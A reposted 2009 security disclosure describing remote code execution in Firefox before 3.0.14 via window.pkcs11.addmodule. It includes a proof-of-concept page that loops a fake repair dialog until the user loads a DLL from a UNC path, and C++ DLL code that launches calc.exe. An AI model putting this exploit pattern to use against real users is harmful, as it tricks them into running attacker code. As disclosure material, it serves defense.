Mozilla Firefox < 3.0.14 Multiplatform RCE via pkcs11.addmodule

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Mozilla Firefox pkcs11.addmodule RCE vulnerabilit


                                                Fix announce:   http://www.mozilla.org/security/announce/2009/mfsa2009-48.html
Bug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628

So, Firefox up through 3.0.13 had an obscure little function under window.pkcs11:

 long                      addmodule(in DOMString moduleName,
                                     in DOMString libraryFullPath,
                                     in long cryptoMechanismFlags,
                                     in long cipherFlags);

Yes, that&#39;s actually the full path to a DLL -- or an .so on Linux/OSX --
from a JS function that&#39;s exposed to the web.

Attacker doesn&#39;t get zero click install -- there&#39;s a dialog -- but:

1) Attacker does get to customize the dialog via moduleName
2) The dialog is modal, so the user doesn&#39;t get access to Firefox again
until they hit OK (can&#39;t even close Firefox)
3) On Windows, he can put a UNC path in for the Library path.  There&#39;s
probably similar on OSX and some Linux distros.  Even without, there&#39;s
usually a way to get a file in a known location -- see John Heasman&#39;s
Java work.

LoadLibrary of Attacker library on OK.

Repro:

&#60;body&#62;
&#60;script&#62;

  var str = &#34;Error detected in Firefox Module NSP31337.bin.\n&#34; +
           &#34;Please click &#39;OK&#39; to repair.&#34;

  ret=-2;
  while(ret!=-5){
     ret=window.pkcs11.addmodule(&#34;\n\n\n&#34; + str + &#34;\n\n\n&#34;, &#34;\\\\127.0.0.1\\c$\\
pkunkcs&#34;, 0, 0);
  }

&#60;/script&#62;

&#34;Shellcode&#34; is just a DLL with ShellExecute in the constructor:

CpkunkcsApp::CpkunkcsApp()
{

    char *str = &#34;c:\\windows\\system32\\calc.exe&#34;;
    wchar_t *wText;
    size_t len;
   
    len = strlen(str)+1;

    wText = new wchar_t[strlen(str)];
    memset(wText, 0, len * sizeof(wchar_t));

    ::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);

    ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);

}

Cheers to Jesse Ruderman, who recognized this was probably not the
greatest of API&#39;s some time ago.  The bug history is worth taking a look
at...goes back a while.  They missed the UNC path vector, and appear to
have underestimated the modal dialog.

# milw0rm.com [2009-09-11]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1

mozilla firefox; pkcs11.addmodule rce; security vulnerability; dll; unc path; modal dialog; rce exploit